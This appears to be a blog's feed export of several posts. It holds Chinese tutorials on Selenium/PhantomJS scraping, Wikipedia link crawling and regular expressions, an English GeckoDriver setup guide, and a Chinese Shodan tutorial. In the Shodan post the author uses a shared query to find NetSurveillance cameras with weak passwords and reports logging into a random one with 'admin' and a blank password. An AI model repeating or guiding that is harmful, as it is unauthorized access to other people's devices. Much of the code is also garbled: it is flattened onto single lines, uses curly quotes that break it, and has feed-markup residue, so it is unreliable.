id="kw"是百度搜索输入框,输入字符串"长城"driver.find_element_by_id('kw').send_keys(u'长城')# id="su"是百度搜索按钮,click()是模拟点击driver.find_element_by_id('su').click()# 获取新的页面快照driver.save_screenshot(r'D:\DataguruPyhton\PythonSpider\images\长城.png')# 打印网页渲染后的源代码print(driver.page_source)# 获取当前页面Cookieprint(driver.get_cookies())driver.quit()

    Selenium + PhantomJS 实例二

    from selenium import webdriverimport time# 调用键盘按键操作需要引入keys包from selenium.webdriver.common.keys import Keys# 调用指定的PhantomJS浏览器创建浏览器对象(没有在环境变量中指定PhantomJS位置)driver = webdriver.PhantomJS(executable_path=r'D:\python\PythonLibs\phantomjs-2.1.1-windows\bin\phantomjs')# 调用环境变量指定的PhantomJS浏览器创建浏览器对象(如果已经在环境变量中指定了PhantomJS位置)# driver = webdriver.PhantomJS()driver.set_window_size(1366, 768)# get方法会一直等到页面加载,然后才会继续程序,通常测试会在这里选择time.sleep(2)driver.get("http://www.baidu.com/")# id="kw"是百度搜索输入框,输入字符串"情人节"driver.find_element_by_id('kw').send_keys(u'情人节')# ctrl+a全选输入框内容driver.find_element_by_id('kw').send_keys(Keys.CONTROL, 'a')# ctrl+x剪切输入框内容driver.find_element_by_id('kw').send_keys(Keys.CONTROL, 'x')# 输入框重新输入内容driver.find_element_by_id('kw').send_keys('鲜花')# 模拟Enter回车键driver.find_element_by_id('su').send_keys(Keys.RETURN)time.sleep(5)# 清空输入框内容driver.find_element_by_id('kw').clear()# 生成新的页面快照driver.save_screenshot(r'D:\DataguruPyhton\PythonSpider\images\鲜花.png')# 获取当前urlprint(driver.current_url)driver.quit()

    Selenium + PhantomJS 实例三:爬取包含Ajax的动态网页数据

    ## Selenium+PhantomJS爬取包含Ajax的动态网页数据:通过手动延时from selenium import webdriverimport timedriver = webdriver.PhantomJS(executable_path=r'D:\python\PythonLibs\phantomjs-2.1.1-windows\bin\phantomjs')driver.get("http://pythonscraping.com/pages/javascript/ajaxDemo.html")# driver.page_sourcetime.sleep(3)print(driver.find_element_by_id("content").text)driver.close()

    完善后的代码

    ## Selenium+PhantomJS爬取包含Ajax的动态网页数据:通过检查页面是否加载完毕from selenium.webdriver.common.by import Byfrom selenium.webdriver.support.ui import WebDriverWaitfrom selenium.webdriver.support import expected_conditions as ECdriver = webdriver.PhantomJS(executable_path=r'D:\python\PythonLibs\phantomjs-2.1.1-windows\bin\phantomjs')driver.get("http://pythonscraping.com/pages/javascript/ajaxDemo.html")try:    element = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "loadedButton")))finally:    print(driver.find_element_by_id("content").text)    driver.close()

    Selenium + PhantomJS 实例四:爬取重定向的动态网页数据

    `
    from selenium import webdriver
    from selenium.common.exceptions import StaleElementReferenceException

  • def waitForLoad(driver):
    elem = driver.find_element_by_tag_name(“html”)
    count = 0
    while True:
    count += 1
    if count > 20:
    print(“Timing out after 10 seconds and returning”)
    return
    time.sleep(.5)
    try:
    elem == driver.find_element_by_tag_name(“html”)
    except StaleElementReferenceException:
    return

    driver = webdriver.PhantomJS(executable_path=r’D:\python\PythonLibs\phantomjs-2.1.1-windows\bin\phantomjs’)
    driver.get(“http://pythonscraping.com/pages/javascript/redirectDemo1.html")
    waitForLoad(driver)
    print(driver.page_source)

      ## 四、Selenium+PhantomJS使用时报错原因及解决方案  ### 1、现象  报错日志:

    UserWarning: Selenium support for PhantomJS has been deprecated, please use headless versions of Chrome or Firefox instead warnings.warn(‘Selenium support for PhantomJS has been deprecated, please use headless ‘

      就是说selenium已经放弃PhantomJS,了,建议使用火狐或者谷歌无界面浏览器。  ### 2、解决方案  - 方案一:selenium版本降级,卸载当前selenium,重现安装低版本的selenium,比如pip install selenium==3.8.0  - 方案二:使用 Selenium + Headless Firefox 或 Selenium + Headless Chrome  > 将在下篇文章中详细介绍 Selenium + Headless Chrome  ## 五、本篇文章中的代码,运行环境  - Python 3.6.4  - selenium 3.8.0  - phantomjs-2.1.1-windows  - chromedriver.exe  ## 六、彩蛋:pillow对图片进行处理  为以后读取图片验证码铺垫

    需要先安装pillow,安装方法:pip install pillow

    from PIL import Image, ImageFilter

    kitten = Image.open(u”D:\DataguruPyhton\PythonSpider\images\girl1.jpg”)
    blurryKitten = kitten.filter(ImageFilter.GaussianBlur)
    blurryKitten.save(u”D:\DataguruPyhton\PythonSpider\images\girl2.jpg”)
    blurryKitten.show()
    `

    ]]>
    - - - - - Python - - - - - - - Python - - Selenium - - PhantomJS - - - -
    - - - - - Python网络爬虫实战之六:静态网页爬取案例实战 - - /Coderzgh.github.io/2019/05/18/python-crawler-static-sample-6/ - -
  • 正文:

    预备知识点:正则表达式之 pattern+?、pattern*?、(?!pattern)、(?:pattern)

    pattern+?、pattern*?

    这两个比较常用,表示懒惰匹配,即匹配符合条件的尽量短的字符串。默认情况下 + 和 * 是贪婪匹配,即匹配尽可能长的字符串,在它们后面加上 ? 表示想要进行懒惰匹配。

    (?!pattern)

    表示一个过滤条件,若字符串符合 pattern 则将其过滤掉。在分析日志时很有用,例如想过滤掉包含 info 标记的日志可以写 ^(?!.info).$。

    (?:pattern)

    这条规则主要是为了优化性能,对匹配没有影响。它表示括号内的子表达式匹配的结果不需要返回也不会被 12 之类的反向引用。

    案例实战一

    获取网页https://en.wikipedia.org/wiki/Kevin_Bacon中的词条url链接

    尝试1

    ## 尝试1:爬取网页内容from urllib.request import urlopenfrom bs4 import BeautifulSouphtml = urlopen(r'https://en.wikipedia.org/wiki/Kevin_Bacon')bsObj = BeautifulSoup(html, 'lxml')print(bsObj.prettify())

    尝试2

    ## 尝试2:抓取网页中的 a 标签,且以 href 开头的所有url链接from urllib.request import urlopenfrom bs4 import BeautifulSouphtml = urlopen(r'https://en.wikipedia.org/wiki/Kevin_Bacon')bsObj = BeautifulSoup(html, 'lxml')allLinks = bsObj.findAll("a")print(len(allLinks))  # 780for link in allLinks:    if "href" in link.attrs:        print(link.attrs["href"])

    通过分析“尝试2”中的数据,发现如下规律:

    1、id在bodyContent的div标签中;

    2、url不包含冒号;

    3、url以/wiki/开头

    正式提取

    ## 正式提取维基中的词条urlfrom urllib.request import urlopenfrom bs4 import BeautifulSoupimport rehtml = urlopen(r'https://en.wikipedia.org/wiki/Kevin_Bacon')bsObj = BeautifulSoup(html, 'lxml')allLinks = bsObj.find('div', {'id': 'bodyContent'}).findAll('a', href=re.compile("^(/wiki/)((?!:).)*$"))# allLinks# allLinks[0]# # result: <a class="mw-disambig" href="/wiki/Kevin_Bacon_(disambiguation)" title="Kevin Bacon (disambiguation)">Kevin Bacon (disambiguation)</a># allLinks[0].text# # result: 'Kevin Bacon (disambiguation)'# allLinks[0].attrs['class']# # result: ['mw-disambig']# allLinks[0].attrs['href']# # result: '/wiki/Kevin_Bacon_(disambiguation)'# allLinks[0].attrs['title']# # result: 'Kevin Bacon (disambiguation)'# print(len(allLinks))  # 380for link in allLinks:    if 'href' in link.attrs:        print(link.attrs['href'])

    案例实战二

    获取网页https://en.wikipedia.org/wiki/Kevin_Bacon中的词条url链接以及关联页面中的词条url

    `
    from urllib.request import urlopen
    from bs4 import BeautifulSoup
    import re
    import datetime
    import random

  • def getLinks(articleUrl):
    html = urlopen(“https://en.wikipedia.org" + articleUrl)
    bsObj = BeautifulSoup(html, ‘lxml’)
    return bsObj.find(‘div’, {‘id’: ‘bodyContent’}).findAll(‘a’, href=re.compile(“^(/wiki/)((?!:).)*$”))

    links = getLinks(“/wiki/Kevin_Bacon”)
    random.seed(datetime.datetime.now()) # 设置随机因子为系统时间,这样再使用随机函数时就不会取到重复值了
    while len(links) > 0:
    newArticle = links[random.randint(0, len(links) - 1)].attrs[“href”]
    print(newArticle)
    links = getLinks(newArticle)

      > 上述代码存在两个隐患:  >  隐患1,有可能会从A页面到B页面再到A页面;  >  隐患2,没有做异常处理  ## 案例实战三  获取词条以及关联词条的url、标题、概要

    pages = set() # url容器,作用:收集新的url链接;剔除已抓取的url

    def getLinks(pageUrl):
    global pages # 设为全局变量
    html = urlopen(“https://en.wikipedia.org" + pageUrl)
    bsObj = BeautifulSoup(html, “lxml”)
    try:

          # 维基词条页面的特征:      # 1、所有的标题都在h1->span标签里,而且只有一个标题标签      # 2、正文文字在div#bodyContent标签里;第一段文字 div#mw-content-text->p      # 3、编辑链接只出现在词条页面上,位于li#ca-edit标签里的 li#caedit->span->a      print("https://en.wikipedia.org" + pageUrl)      print(bsObj.h1.get_text())      print(bsObj.find(id="mw-content-text").findAll("p")[0])      print(bsObj.find(id="ca-edit").find("span").find("a").attrs['href'])  except AttributeError:      print("This page is missing something! No worries though!")  allLinks = bsObj.find_all("a", href=re.compile("^(/wiki/)((?!:).)*$"))  for link in allLinks:      if 'href' in link.attrs:          newPage = link.attrs['href']          print("------------------------\n" + newPage)          pages.add(newPage)          getLinks(newPage)

    getLinks(“/wiki/Farouk_Topan”)

      ## 案例实战四  通过定义函数,获取页面内的所有外链

    from urllib.request import urlopen
    from bs4 import BeautifulSoup
    import datetime
    import random
    import re

    random.seed(datetime.datetime.now())
    allExtLinks = set()
    allIntLinks = set()

    获取页面所有内链的列表

    def getInternalLinks(bsObj, includeUrl):
    internalLinks = []

      # Finds all links that begin with a "/"  for link in bsObj.findAll("a", href=re.compile("^(/.*" + includeUrl + ")")):      if link.attrs["href"] is not None:          if link.attrs["href"] not in internalLinks:              internalLinks.append(link.attrs["href"])  return internalLinks

    获取所有外链的列表

    def getExternallLinks(bsObj, excludeUrl):
    externalLinks = []

      # Finds all links that start with "http" or "www" that do not contain the current URL  for link in bsObj.findAll("a", href=re.compile("^(http|www)((?!" + excludeUrl + ").)*$")):      if link.attrs["href"] is not None:          if link.attrs['href'] not in externalLinks:              externalLinks.append(link.attrs['href'])  return externalLinks

    url拆分

    def splitAddress(address):
    addressParts = address.replace(“http://“, “”).split(“/“)
    return addressParts

    Collects a list of all external URLs found on the site

    def getAllExternalLinks(siteUrl):
    html = urlopen(siteUrl)
    bsObj = BeautifulSoup(html, ‘lxml’)
    internalLinks = getInternalLinks(bsObj, splitAddress(siteUrl)[0])
    externalLinks = getExternallLinks(bsObj, splitAddress(siteUrl)[0])

      for link in externalLinks:      if link not in allExtLinks:          allExtLinks.add(link)          print(link)  for link in internalLinks:      if link not in allIntLinks:          allIntLinks.add(link)          getAllExternalLinks("http:" + link)

    getAllExternalLinks(“http://oreilly.com")
    `

    ]]>
    - - - - - Python - - - - - - - Python - - - -
    - - - - - 什么是 Shodan? - - /Coderzgh.github.io/2019/05/17/how-shodan/ - - 什么是 Shodan?

    首先,Shodan 是一个搜索引擎,但它与 Google 这种搜索网址的搜索引擎不同,Shodan 是用来搜索网络空间中在线设备的,你可以通过 Shodan 搜索指定的设备,或者搜索特定类型的设备,其中 Shodan 上最受欢迎的搜索内容是:webcam,linksys,cisco,netgear,SCADA等等。

    那么 Shodan 是怎么工作的呢?Shodan 通过扫描全网设备并抓取解析各个设备返回的 banner 信息,通过了解这些信息 Shodan 就能得知网络中哪一种 Web 服务器是最受欢迎的,或是网络中到底存在多少可匿名登录的 FTP 服务器。

    基本用法

    这里就像是用 Google 一样,在主页的搜索框中输入想要搜索的内容即可,例如下面我搜索 “SSH”:

    27-1.png

    上图的搜索结果包含两个部分,左侧是大量的汇总数据包括:

    • Results map – 搜索结果展示地图
    • Top services (Ports) – 使用最多的服务/端口
    • Top organizations (ISPs) – 使用最多的组织/ISP
    • Top operating systems – 使用最多的操作系统
    • Top products (Software name) – 使用最多的产品/软件名称

    随后,在中间的主页面我们可以看到包含如下的搜索结果:

    • IP 地址
    • 主机名
    • ISP
    • 该条目的收录收录时间
    • 该主机位于的国家
    • Banner 信息

    想要了解每个条目的具体信息,只需要点击每个条目下方的 details 按钮即可。此时,URL 会变成这种格式 https://www.shodan.io/host/[IP],所以我们也可以通过直接访问指定的 IP 来查看详细信息。

    27-2.png

    上图中我们可以从顶部在地图中看到主机的物理地址,从左侧了解到主机的相关信息,右侧则包含目标主机的端口列表及其详细信息。

    使用搜索过滤

    如果像前面单纯只使用关键字直接进行搜索,搜索结果可能不尽人意,那么此时我们就需要使用一些特定的命令对搜索结果进行过滤,常见用的过滤命令如下所示:

    • hostname:搜索指定的主机或域名,例如 hostname:"google"
    • port:搜索指定的端口或服务,例如 port:"21"
    • country:搜索指定的国家,例如 country:"CN"
    • city:搜索指定的城市,例如 city:"Hefei"
    • org:搜索指定的组织或公司,例如 org:"google"
    • isp:搜索指定的ISP供应商,例如 isp:"China Telecom"
    • product:搜索指定的操作系统/软件/平台,例如 product:"Apache httpd"
    • version:搜索指定的软件版本,例如 version:"1.6.2"
    • geo:搜索指定的地理位置,参数为经纬度,例如 geo:"31.8639, 117.2808"
    • before/after:搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:"11-11-15"
    • net:搜索指定的IP地址或子网,例如 net:"210.45.240.0/24"

    搜索实例

    查找位于合肥的 Apache 服务器:

    apache city:"Hefei"

    查找位于国内的 Nginx 服务器:

    nginx country:"CN"

    查找 GWS(Google Web Server) 服务器:

    "Server: gws" hostname:"google"

    查找指定网段的华为设备:

    huawei net:"61.191.146.0/24"

    如上通过在基本关键字后增加指定的过滤关键字,能快速的帮助发现我们感兴趣的内容。当然,还有更快速更有意思的方法,那就是点击 Shodan 搜索栏右侧的 “Explore” 按钮,就会得到很多别人分享的搜索语法,你问我别人分享的语法有什么好玩的?那咱们就随便来看看吧:

    27-3.png

    咱们随便选取一个名为“NetSureveillance Web”的用户分享语法,从下面的描述信息我们基本就能得知这就是一个弱密码的漏洞,为了方便测试让我们把语法在增加一个国家的过滤信息,最终语法如下:

    Server: uc-httpd 1.0.0 200 OK Country:"CN"

    27-4.png

    现在让我们随便选取一个页面进去输入,使用admin账号和空密码就能顺利进入了:)

    27-5.png

    其他功能

    Shodan 不仅可以查找网络设备,它还具有其他相当不错的功能。

    Exploits:每次查询完后,点击页面上的 “Exploits” 按钮,Shodan 就会帮我们查找针对不同平台、不同类型可利用的 exploits。当然也可以通过直接访问网址来自行搜索:https://exploits.shodan.io/welcome

    27-10.png

    地图:每次查询完后,点击页面上的 “Maps” 按钮,Shodan 会将查询结果可视化的展示在地图当中;

    27-12.png

    报表:每次查询完后,点击页面上的 “Create Report” 按钮,Shodan 就会帮我们生成一份精美的报表,这是天天要写文档兄弟的一大好帮手啊;

    27-11.png

    命令行下使用 Shodan

    Shodan 是由官方提供的 Python 库的,项目位于:https://github.com/achillean/shodan-python

    安装

    pip install shodan

    或者

    git clone https://github.com/achillean/shodan-python.git && cd shodan-pythonpython setup.py install

    安装完后我们先看下帮助信息:

    ➜  ~ shodan -hUsage: shodan [OPTIONS] COMMAND [ARGS]...Options:  -h, --help  Show this message and exit.Commands:  alert       Manage the network alerts for your account  # 管理账户的网络提示  convert     Convert the given input data file into a...  # 转换输入文件  count       Returns the number of results for a search  # 返回查询结果数量  download    Download search results and save them in a...  # 下载查询结果到文件  honeyscore  Check whether the IP is a honeypot or not.  # 检查 IP 是否为蜜罐  host        View all available information for an IP...  # 显示一个 IP 所有可用的详细信息  info        Shows general information about your account  # 显示账户的一般信息  init        Initialize the Shodan command-line  # 初始化命令行  myip        Print your external IP address  # 输出用户当前公网IP  parse       Extract information out of compressed JSON...  # 解析提取压缩的JSON信息,即使用download下载的数据  scan        Scan an IP/ netblock using Shodan.  # 使用 Shodan 扫描一个IP或者网段  search      Search the Shodan database  # 查询 Shodan 数据库  stats       Provide summary information about a search...  # 提供搜索结果的概要信息  stream      Stream data in real-time.  # 实时显示流数据

    常用示例

    init

    初始化命令行工具。

    ➜  ~ shodan init [API_Key]Successfully initialized

    count

    返回查询的结果数量。

    ➜  ~ shodan count microsoft iis 6.0575862

    download

    将搜索结果下载到一个文件中,文件中的每一行都是 JSON 格式存储的目标 banner 信息。默认情况下,该命令只会下载1000条结果,如果想下载更多结果需要增加 --limit 参数。

    27-6.png

    parse

    我们可以使用 parse 来解析之前下载数据,它可以帮助我们过滤出自己感兴趣的内容,也可以用来将下载的数据格式从 JSON 转换成 CSV 等等其他格式,当然更可以用作传递给其他处理脚本的管道。例如,我们想将上面下载的数据以CSV格式输出IP地址、端口号和组织名称:

    ➜  ~ shodan parse --fields ip_str,port,org --separator , microsoft-data.json.gz

    27-7.png

    host

    查看指定主机的相关信息,如地理位置信息,开放端口,甚至是否存在某些漏洞等信息。

    27-8.png

    search

    直接将查询结果展示在命令行中,默认情况下只显示IP、端口号、主机名和HTTP数据。当然我们也可以通过使用 –fields 来自定义显示内容,例如,我们只显示IP、端口号、组织名称和主机名:

    ➜  ~ shodan search --fields ip_str,port,org,hostnames microsoft iis 6.0

    27-9.png

    代码中使用 Shodan 库

    还是使用上一节讲到的 shodan 库,安装方式这里不在阐述了。同样的,在使用 shodan 库之前需要初始化连接 API,代码如下:

    import shodanSHODAN_API_KEY = "API_Key"api = shodan.Shodan(SHODAN_API_KEY)

    随后,我们就可以搜索数据了,示例代码片如下:

    try:    # 搜索 Shodan    results = api.search('apache')    # 显示结果    print 'Results found: %s' % results['total']    for result in results['matches']:            print result['ip_str']except shodan.APIError, e:    print 'Error: %s' % e

    27-13.png

    这里 Shodan.search() 会返回类似如下格式的 JSON 数据:

    {        'total': 8669969,        'matches': [                {                        'data': 'HTTP/1.0 200 OK\r\nDate: Mon, 08 Nov 2010 05:09:59 GMT\r\nSer...',                        'hostnames': ['pl4t1n.de'],                        'ip': 3579573318,                        'ip_str': '89.110.147.239',                        'os': 'FreeBSD 4.4',                        'port': 80,                        'timestamp': '2014-01-15T05:49:56.283713'                },                ...        ]}

    常用 Shodan 库函数

    • shodan.Shodan(key) :初始化连接API
    • Shodan.count(query, facets=None):返回查询结果数量
    • Shodan.host(ip, history=False):返回一个IP的详细信息
    • Shodan.ports():返回Shodan可查询的端口号
    • Shodan.protocols():返回Shodan可查询的协议
    • Shodan.services():返回Shodan可查询的服务
    • Shodan.queries(page=1, sort='timestamp', order='desc'):查询其他用户分享的查询规则
    • Shodan.scan(ips, force=False):使用Shodan进行扫描,ips可以为字符或字典类型
    • Shodan.search(query, page=1, limit=None, offset=None, facets=None, minify=True):查询Shodan数据
    ]]>
    - - - - - Shodan - - - - - - - Shodan - - - -
    - - - - - Launch Firefox with GeckoDriver (latest) - - /Coderzgh.github.io/2019/05/16/python-crawler-webdrive-firefox/ - - Launch Firefox with GeckoDriver (latest)

    This article provides a detailed, step by step guide on how to launch Firefox with Selenium Geckodriver. In this article we use the latest versions of Selenium, Firefox & Geckodriver and show you how you can launch Firefox by providing updated code snippets. The tool versions that we will be using in this article are –

    • Selenium – version 3.11.0
    • Firefox – version 59.0.2 (Firefox Quantum)
    • Geckodriver – version 0.20.1

    Are you using an older version of Selenium Webdriver? Make sure you switch to the latest Selenium Webdriver version to avoid compatibility issues!!

    Launch Firefox with Selenium 3.0

    What is Selenium Geckodriver?

    Let us first start with the very basics – What is Gecko and GeckoDriver? Gecko is a web browser engine used in many applications developed by Mozilla Foundation and the Mozilla Corporation, most noticeably the Firefox web browser, its mobile version other than iOS devices, their email client Thunderbird and many other open source software projects. You can get more information about Gecko here – https://en.wikipedia.org/wiki/Gecko_(software)

    Geckodriver is a proxy for using W3C WebDriver-compatible clients to interact with Gecko-based browsers i.e. Mozilla Firefox in this case. This program provides the HTTP API described by the WebDriver protocol to communicate with Gecko browsers. It translates calls into the Marionette automation protocol by acting as a proxy between the local and remote ends.

    How things worked before Geckodriver and Selenium 3

    If you are new to Selenium and you have started directly with Selenium 3.x, you would not know how Firefox was launched with the previous versions of Selenium (version 2.53 and before). It was a pretty straight forward process where you were not required to use Geckodriver or any other driver. After you download and install Selenium, you just write the code to instantiate the WebDriver and open Firefox. The code snippet is shown below –

    public class FirefoxTest { public static void main(String[] args) { WebDriver driver = new FirefoxDriver(); driver.get(“http://www.google.com"); } }

    1234567public class FirefoxTest { public static void main(String[] args) { WebDriver driver = new FirefoxDriver(); driver.get(“http://www.google.com“); }}

    If you just run this code, you would notice that Firefox browser would get opened and Google.com would be displayed in the browser. This is how it worked with Selenium 2.53 and before. Let’s see whats the new implementation in Selenium 3.

    What happens when you don’t use Firefox Geckodriver with Selenium 3.x

    To try this out, all that you need to do is point your JAR files to the latest version of Selenium 3 and then run the same code that is given above. You will now notice that Google.com page would not open in a new Firefox window. Instead you will see an error message as shown below –

    java.lang.IllegalStateException: The path to the driver executable must be set by the webdriver.gecko.driver system property; for more information, see https://github.com/mozilla/geckodriver. The latest version can be downloaded from https://github.com/mozilla/geckodriver/releases

    Geckodriver Error

    You will need to use Selenium Geckodriver to remove this error. Let us see how this can be done.

    How to use Selenium Geckodriver to launch Firefox

    To launch Firefox with Selenium Geckodriver, you will first need to download Geckodriver and then set its path. This can be done in two ways as depicted in the below image –

    Process to use Geckodriver

    Check if Firefox is 32-bit or 64-bit

    There are two versions of Geckodriver for Windows: 32-bit and 64-bit. Based on whether your Firefox is 32-bit or 64-bit, you need to download the corresponding Geckodriver exe. In this section, you will first check whether your Firefox is 32-bit or 64-bit

    1. Open Firefox on your machine. Click on Hamburger icon from the right corner to open the menu as shown below

    Open Firefox Menu

    2. From this menu, click on Help icon (Help icon is marked in red box in the above image)

    3. Once you click on Help icon, the Help Menu would be displayed

    Help Menu - Firefox

    4. Click on About Firefox from the Help menu. About Mozilla Firefox popup would be displayed

    Check if Mozilla Firefox is 32-bit or 64-bit

    5. Note down whether Firefox is 32 or 64 bit. For us, Firefox is 64-bit as shown in the above image. Now close this popup and close Firefox as well.

    Download the latest version of Selenium Geckodriver

    Follow the steps given below to download Geckodriver –

    1. Open this Github page – https://github.com/mozilla/geckodriver/releases

    2. Download the latest release (windows version) based on whether your Firefox is 32-bit or 64-bit. We are downloading geckodriver-v0.20.1-win64.zip, as we have 64-bit Firefox

    Download latest version of GeckoDriver

    3. Once the zip file is downloaded, unzip it to retrieve the driver – geckodriver.exe

    This completes the downloading process. Now let’s see how you can use it in your project. There are 2 methods using which you can configure this driver in your project. You can use any of these methods.

    According to this statcounter report, Chrome is by far the most used browser. If you are learning Selenium, make sure that you run your scripts on Chrome browser as well

    Launch Firefox Method 1 : webdriver.gecko.driver system property

    With this method, you will have to add an additional line of code in your test case. Follow the steps given below to use this method –

    1. Copy the entire path where you unzipped geckodriver.exe. Let us assume that the location is – D:\Firefox\geckodriver.exe. You will need to add System.setProperty with the driver location to your code.

    The code to launch Firefox browser would look like this –

    Important Note 1: In the folder paths in the below code, we have used double backslash (\). This is because Java treats single back slash () as an escape character. So you would need to use double back slash, everywhere you add some folder path.

    public class FirefoxTest { public static void main(String[] args) { System.setProperty(“webdriver.gecko.driver”,”D:\Firefox\geckodriver.exe”); WebDriver driver = new FirefoxDriver(); driver.get(“http://www.google.com"); } }

    123456789public class FirefoxTest { public static void main(String[] args) { System.setProperty(“webdriver.gecko.driver”,”D:\Firefox\geckodriver.exe”); WebDriver driver = new FirefoxDriver(); driver.get(“http://www.google.com“); }}

    Important Note 2: If you are using older versions of Geckodriver (v0.16.1 or before), then you will also need to provide the Firefox Binary, otherwise you might get the below error –

    org.openqa.selenium.SessionNotCreatedException: Expected browser binary location, but unable to find binary in default location, no ‘moz:firefoxOptions.binary’ capability provided, and no binary flag set on the command line

    But please note that this is needed only for Geckodriver v0.16.1 or before. So for older Gecko versions, please use the below code where Firefox binary location has been provided using FirefoxOptions class.

    public class FirefoxTest { public static void main(String[] args) { System.setProperty(“webdriver.gecko.driver”,”D:\Firefox\geckodriver.exe”); FirefoxOptions options = new FirefoxOptions(); options.setBinary(“C:\Program Files (x86)\Mozilla Firefox\firefox.exe”); //This is the location where you have installed Firefox on your machine WebDriver driver = new FirefoxDriver(options); driver.get(“http://www.google.com"); } }

    123456789101112public class FirefoxTest { public static void main(String[] args) { System.setProperty(“webdriver.gecko.driver”,”D:\Firefox\geckodriver.exe”); FirefoxOptions options = new FirefoxOptions(); options.setBinary(“C:\Program Files (x86)\Mozilla Firefox\firefox.exe”); //This is the location where you have installed Firefox on your machine WebDriver driver = new FirefoxDriver(options); driver.get(“http://www.google.com“); }}

    3. Run this code to verify that everything is working fine. You will notice that google.com gets opened in new Firefox window

    Launch Firefox Method 2 : Set property in Environment Variables

    1. Copy the entire folder location where geckodriver.exe is saved. If the entire path is D:\Firefox\geckodriver.exe, then the folder location would be D:\Firefox\

    2. Open Advanced tab in System Properties window as shown in below image.

    System Properties

    3. Open Environment Variables window.

    Environment Variables Window

    4. In System variables section, select the Path variable (highlighted in the above image) and click on Edit button. Then add the location of Geckodriver that we copied in step 1 (D:\Firefox), to path variable (below image shows UI for Windows 10)

    Add GeckoDriver path to Environment Variables

    5. If you are using Windows 7, then move to the end of the Variable value field, then add a semi-colon (;) and then add the folder location as shown below (Semicolon acts as a separator between multiple values in the field)

    Add GeckoDriver in Path Variable - Windows 7

    6. Click on Ok button to close the windows. Once the path is set, you would not need to set the System property every time in the test script. Your test script would simply look like this –

    For GeckoDriver v0.20, v0.19.0, v0.18.0 and v0.17.0 –

    public class FirefoxTest { public static void main(String[] args) { WebDriver driver = new FirefoxDriver(); driver.get(“http://www.google.com"); } }

    1234567public class FirefoxTest { public static void main(String[] args) { WebDriver driver = new FirefoxDriver(); driver.get(“http://www.google.com“); }}

    For GeckoDriver v0.16.1 or before –

    public class FirefoxTest { public static void main(String[] args) { FirefoxOptions options = new FirefoxOptions(); options.setBinary(“C:\Program Files (x86)\Mozilla Firefox\firefox.exe”); //This is the location where you have installed Firefox on your machine WebDriver driver = new FirefoxDriver(options); driver.get(“http://www.google.com"); } }

    12345678910public class FirefoxTest { public static void main(String[] args) { FirefoxOptions options = new FirefoxOptions(); options.setBinary(“C:\Program Files (x86)\Mozilla Firefox\firefox.exe”); //This is the location where you have installed Firefox on your machine WebDriver driver = new FirefoxDriver(options); driver.get(“http://www.google.com“); }}

    7. Run the code to check that it works fine.

    This completes our article on how you can use launch Firefox with Selenium GeckoDriver. Try it out and let us know if this worked for you. Feel free to contact us using comments section if you face any issue while implementing this.

    UPDATE 1 [30 April, 2017]: Use DesiredCapabilities and FirefoxOptions to launch Firefox with Selenium GeckoDriver

    public class FirefoxTest { public static void main(String[] args) { FirefoxOptions options = new FirefoxOptions(); options.setBinary(“C:\Program Files (x86)\Mozilla Firefox\firefox.exe”); //Location where Firefox is installed DesiredCapabilities capabilities = DesiredCapabilities.firefox(); capabilities.setCapability(“moz:firefoxOptions”, options); //set more capabilities as per your requirements FirefoxDriver driver = new FirefoxDriver(capabilities); driver.get(“http://www.google.com"); } }

    1234567891011121314public class FirefoxTest { public static void main(String[] args) { FirefoxOptions options = new FirefoxOptions(); options.setBinary(“C:\Program Files (x86)\Mozilla Firefox\firefox.exe”); //Location where Firefox is installed DesiredCapabilities capabilities = DesiredCapabilities.firefox(); capabilities.setCapability(“moz:firefoxOptions”, options); //set more capabilities as per your requirements FirefoxDriver driver = new FirefoxDriver(capabilities); driver.get(“http://www.google.com“); }}

    Here are a few hand-picked articles for you to read next:

    ]]>
    - - - - - Python - - - - - - - Firefox - - Webdriver - - - -
    - - - - - Python网络爬虫实战之五:正则表达式 - - /Coderzgh.github.io/2019/05/15/python-crawler-regular-expression-5/ - - 正文:

    正则表达式(regular expression)描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串等。

    通过一个小实例来了解正则表达式的作用

    # 从字符串 str 中找出abc/数字import res = '123abc456eabc789're.findall(r'abc', s)# result: ['abc', 'abc']re.findall('[0-9]+',s)# result: ['123', '456', '789']

    限定符

    限定符用来指定正则表达式的一个给定组件必须要出现多少次才能满足匹配。有 * 或 + 或 ? 或 {n} 或 {n,} 或 {n,m} 共6种。

    img

    5-1.jpg

    import res = 'Chapter1 Chapter2 Chapter10 Chapter99 fheh're.findall('Chapter[1-9][0-9]*', s)# result:['Chapter1', 'Chapter2', 'Chapter10', 'Chapter99']re.findall('Chapter[1-9][0-9]+', s)# result: ['Chapter10', 'Chapter99']re.findall('Chapter[1-9][0-9]?', s)# result:['Chapter1', 'Chapter2', 'Chapter10', 'Chapter99']re.findall('Chapter[1-9][0-9]{0,1}', s)# result:['Chapter1', 'Chapter2', 'Chapter10', 'Chapter99']re.findall('Chapter[1-9][0-9]{1,2}', s)# result:['Chapter10', 'Chapter99']

    贪婪匹配与非贪婪匹配

    正则匹配默认是贪婪匹配,也就是匹配尽可能多的字符

    import re# 贪婪模式s = '<H1>Chapter 1 – Introduction to Regular Expressions</H1>'re.findall('<.*>', s)# result: ['<H1>Chapter 1 – Introduction to Regular Expressions</H1>']# 非贪婪模式re.findall('<.*?>', s)# result: ['<H1>', '</H1>']

    定位符

    定位符使您能够将正则表达式固定到行首或行尾。它们还使您能够创建这样的正则表达式,这些正则表达式出现在一个单词内、在一个单词的开头或者一个单词的结尾。

    定位符用来描述字符串或单词的边界,^ 和 $ 分别指字符串的开始与结束,\b 描述单词的前或后边界,\B 表示非单词边界。

    img

    5-2.jpg

    import res = 'Chapter1 Chapter2 Chapter11 Chapter99're.findall('^Chapter[1-9][0-9]{0,1}', s)# result: ['Chapter1']re.findall('^Chapter[1-9][0-9]{0,1}$', 'Chapter99')# result: ['Chapter99']re.findall(r'\bCha', ' Chapter')# result: ['Cha']re.findall(r'ter\b', ' Chapter')# result: ['ter']re.findall(r'\Bapt', 'Chapter')# result: ['apt']re.findall(r'\Bapt', 'aptitude')# result: []

    分组与捕获组

    要说明白捕获,就要先从分组开始。重复单字符我们可以使用限定符,如果重复字符串,用什么呢? 对!用小括号,小括号里包裹指定字表达式(子串),这就是分组。之后就可以限定这个子表示的重复次数了。

